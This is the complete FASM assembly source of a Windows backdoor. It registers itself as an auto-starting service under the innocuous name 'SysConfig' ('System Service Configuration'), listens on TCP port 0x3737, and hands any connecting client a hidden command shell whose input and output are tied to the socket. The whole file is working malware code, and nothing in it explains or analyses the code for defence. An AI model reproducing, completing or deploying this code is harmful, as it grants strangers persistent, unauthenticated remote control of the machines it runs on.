format PE GUI 4.0
align 16
entry start

include 'win32a.inc'
;------------------------------------------
;structures
;------------------------------------------
struct SERVICE_STATUS
 dwServiceType		       dd      ?
 dwCurrentState 	       dd      ?
 dwControlsAccepted	       dd      ?
 dwWin32ExitCode	       dd      ?
 dwServiceSpecificExitCode     dd      ?
 dwCheckPoint		       dd      ?
 dwWaitHint		       dd      ?
ends
;------------------------------------------
;constants
;------------------------------------------

IPPROTO_TCP		=	6
INVALID_SOCKET		=	0FFFFFFFFh
SOCKET_ERROR		=	0FFFFFFFFh
SOL_SOCKET		=	0FFFFh
SO_REUSEADDR		=	0FFFFh
MAX_COMMAND_SIZE	=	4096
PORT			=	3737h

STD_INPUT_HANDLE	=	0FFFFFFF6h
STD_OUTPUT_HANDLE	=	0FFFFFFF5h
STD_ERROR_HANDLE	=	0FFFFFFF4h

SERVICE_CONTROL_SHUTDOWN	=	000000005h
SERVICE_WIN32_OWN_PROCESS	=	000000010h
SERVICE_RUNNING 		=	000000004h
SERVICE_ACCEPT_SHUTDOWN 	=	000000004h

NO_ERROR			=	000000000h
ERROR_SERVICE_DOES_NOT_EXIST	=	000001060h


SC_MANAGER_CONNECT		=	00001h
SC_MANAGER_CREATE_SERVICE	=	00002h
SC_MANAGER_ENUMERATE_SERVICE	=	00004h
SC_MANAGER_LOCK 		=	00008h
SC_MANAGER_QUERY_LOCK_STATUS	=	00010h
SC_MANAGER_MODIFY_BOOT_CONFIG	=	00020h

SC_MANAGER_ALL_ACCESS		=	STANDARD_RIGHTS_REQUIRED	+ \
					SC_MANAGER_CONNECT		+ \
					SC_MANAGER_CREATE_SERVICE	+ \
					SC_MANAGER_ENUMERATE_SERVICE	+ \
					SC_MANAGER_LOCK 		+ \
					SC_MANAGER_QUERY_LOCK_STATUS	+ \
					SC_MANAGER_MODIFY_BOOT_CONFIG

SERVICE_QUERY_CONFIG	       =	00001h
SERVICE_CHANGE_CONFIG	       =	00002h
SERVICE_QUERY_STATUS	       =	00004h
SERVICE_ENUMERATE_DEPENDENTS   =	00008h
SERVICE_START		       =	00010h
SERVICE_STOP		       =	00020h
SERVICE_PAUSE_CONTINUE	       =	00040h
SERVICE_INTERROGATE	       =	00080h
SERVICE_USER_DEFINED_CONTROL   =	00100h

SERVICE_ALL_ACCESS	       =	STANDARD_RIGHTS_REQUIRED      + \
					SERVICE_QUERY_CONFIG	      + \
					SERVICE_CHANGE_CONFIG	      + \
					SERVICE_QUERY_STATUS	      + \
					SERVICE_ENUMERATE_DEPENDENTS  + \
					SERVICE_START		      + \
					SERVICE_STOP		      + \
					SERVICE_PAUSE_CONTINUE	      + \
					SERVICE_INTERROGATE	      + \
					SERVICE_USER_DEFINED_CONTROL


SERVICE_START			=	00010h
SERVICE_AUTO_START		=	000000002h

;--------------------------------------------
;data section
;--------------------------------------------
section '.data' readable writeable

ws		WSADATA
addr		sockaddr_in
sSi		STARTUPINFO
sPi		PROCESS_INFORMATION

hSocket 	DWORD	?
hWorkSocket	DWORD	?

ServiceName		db	'SysConfig',0
DisplayName		db	'System Service Configuration',0
status			SERVICE_STATUS
hService		dd	?
ServiceTableEntry	dd	ServiceName, ServiceMain, 0, 0
hSC1			dd	?
hSC2			dd	?

cOptVal 	db	0FFh
cmd		db	'COMSPEC',0
cmdBuf		dd	?

;============================================

;--------------------------------------------
;code section
;--------------------------------------------
section '.text' readable executable
start:
	invoke	OpenSCManager, 0, 0, SC_MANAGER_ALL_ACCESS
	mov	[hSC1], eax
	or	eax, eax
	jnz	@F
	jmp	endOpenSCManager
@@:
	invoke	OpenService, [hSC1], ServiceName, SERVICE_START
	mov	[hSC2], eax
	or	eax, eax
	jz	@F
	invoke	CloseServiceHandle, eax
	jmp	endOpenSCManager
@@:
	;invoke  GetLastError
	;cmp     eax, ERROR_SERVICE_DOES_NOT_EXIST
	;jz      @F
	;jmp     endOpenSCManager
;@@:
	invoke	GetCommandLine
	invoke	CreateService, [hSC1], ServiceName, DisplayName, SERVICE_ALL_ACCESS,\
		SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, 0,\
		eax, NULL, NULL, NULL, NULL, NULL
	mov	[hSC2], eax
	or	eax, eax
	jnz	@F
	jmp	endOpenSCManager
@@:
	invoke	StartService, [hSC2], 0, NULL
	invoke	CloseServiceHandle, [hSC2]

endOpenSCManager:
	invoke	CloseServiceHandle, [hSC1]

	invoke	StartServiceCtrlDispatcher, ServiceTableEntry
	or	eax, eax
	jnz	exitProcess
	stdcall ServiceMain, dword 0, dword NULL

exitProcess:
	invoke	ExitProcess, 0

;-----------------------------------------------------------------

proc	ServiceMain, dwNU1, dwNU2
	;Register service
	invoke	RegisterServiceCtrlHandler, ServiceName, Handler
	mov	[hService], eax
	;Set service status
	invoke	RtlZeroMemory, status, sizeof.SERVICE_STATUS
	mov	[status.dwServiceType], SERVICE_WIN32_OWN_PROCESS
	mov	[status.dwCurrentState], SERVICE_RUNNING
	mov	[status.dwControlsAccepted], SERVICE_ACCEPT_SHUTDOWN
	mov	[status.dwWin32ExitCode], NO_ERROR

	invoke	SetServiceStatus, [hService], status
	;------------------------------------------------

	invoke	WSAStartup, 020002h, ws

	invoke	WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
	cmp	eax, INVALID_SOCKET
	jnz	@F
	;Can not create socket
	jmp	wsaCleanup
@@:
	mov	[hSocket], eax

	mov	[addr.sin_family], AF_INET
	xor	eax, eax
	mov	[addr.sin_addr], eax
	invoke	htons, PORT
	mov	[addr.sin_port], ax
	invoke	RtlZeroMemory, addr.sin_zero, 8
	;set option for socket
	invoke	setsockopt, [hSocket], SOL_SOCKET, SO_REUSEADDR, cOptVal, 1
bindPort:
	;bind port
	invoke	bind, [hSocket], addr, sizeof.sockaddr_in
	cmp	eax, SOCKET_ERROR
	jnz	@F
	;Can not bind port
	jmp	bindPort
@@:
	; Alloc memory for command store
	invoke GlobalAlloc, GMEM_FIXED, MAX_COMMAND_SIZE
	or     eax, eax
	jz     @B
	mov    [cmdBuf], eax

	invoke	GetEnvironmentVariable, cmd, eax, MAX_COMMAND_SIZE
mainLoop:
	;listen port
	invoke	listen, [hSocket], 1
	or	eax, eax
	jz	@F
	jmp	mainLoop
@@:
	;Got connection
	invoke	accept, [hSocket], NULL, 0
	cmp	eax, INVALID_SOCKET
	jnz	@F
	jmp	mainLoop
@@:
	mov	[hWorkSocket], eax
	;Initialization
	invoke	RtlZeroMemory, sPi, sizeof.PROCESS_INFORMATION
	invoke	GetStartupInfo, sSi
	mov	[sSi.cb], sizeof.STARTUPINFO
	mov	[sSi.dwFlags], STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
	mov	eax, [hWorkSocket]
	mov	[sSi.hStdInput], eax
	mov	[sSi.hStdOutput], eax
	mov	[sSi.hStdError], eax
	mov	[sSi.wShowWindow], SW_HIDE
	;Start cmd
	invoke	CreateProcess, [cmdBuf], NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE,\
		NULL, NULL, sSi, sPi

	invoke	closesocket, [hWorkSocket]

	jmp	mainLoop

closeHandle:
	invoke	CloseHandle, [hSocket]

wsaCleanup:
	invoke	WSACleanup
endp
;------------------------------------------------------------

;Handle message for service
proc	Handler, dwAction
	cmp	[dwAction], SERVICE_CONTROL_SHUTDOWN
	jnz	@F
	invoke	ExitProcess, 0
@@:
	ret
endp
;============================================

section '.idata' import data readable writeable
	library  winsock, 'WS2_32.DLL',\
		 kernel,  'KERNEL32.DLL',\
		 advapi,  'ADVAPI32.DLL'

	import	winsock,\
		WSAStartup,	'WSAStartup',\
		WSACleanup,	'WSACleanup',\
		WSASocket,	'WSASocketA',\
		bind,		'bind',\
		htons,		'htons',\
		inet_addr,	'inet_addr',\
		setsockopt,	'setsockopt',\
		listen, 	'listen',\
		accept, 	'accept',\
		recv,		'recv',\
		closesocket,	'closesocket'

	import	kernel,\
		ExitProcess,		'ExitProcess',\
		CloseHandle,		'CloseHandle',\
		RtlZeroMemory,		'RtlZeroMemory',\
		GlobalAlloc,		'GlobalAlloc',\
		SetStdHandle,		'SetStdHandle',\
		CreateProcess,		'CreateProcessA',\
		GetEnvironmentVariable, 'GetEnvironmentVariableA',\
		GetLastError,		'GetLastError',\
		GetCommandLine, 	'GetCommandLineA',\
		GetStartupInfo, 	'GetStartupInfoA'

	import	advapi,\
		RegisterServiceCtrlHandler,	'RegisterServiceCtrlHandlerA',\
		SetServiceStatus,		'SetServiceStatus',\
		OpenSCManager,			'OpenSCManagerA',\
		OpenService,			'OpenServiceA',\
		CloseServiceHandle,		'CloseServiceHandle',\
		CreateService,			'CreateServiceA',\
		StartService,			'StartServiceA',\
		StartServiceCtrlDispatcher,	'StartServiceCtrlDispatcherA'
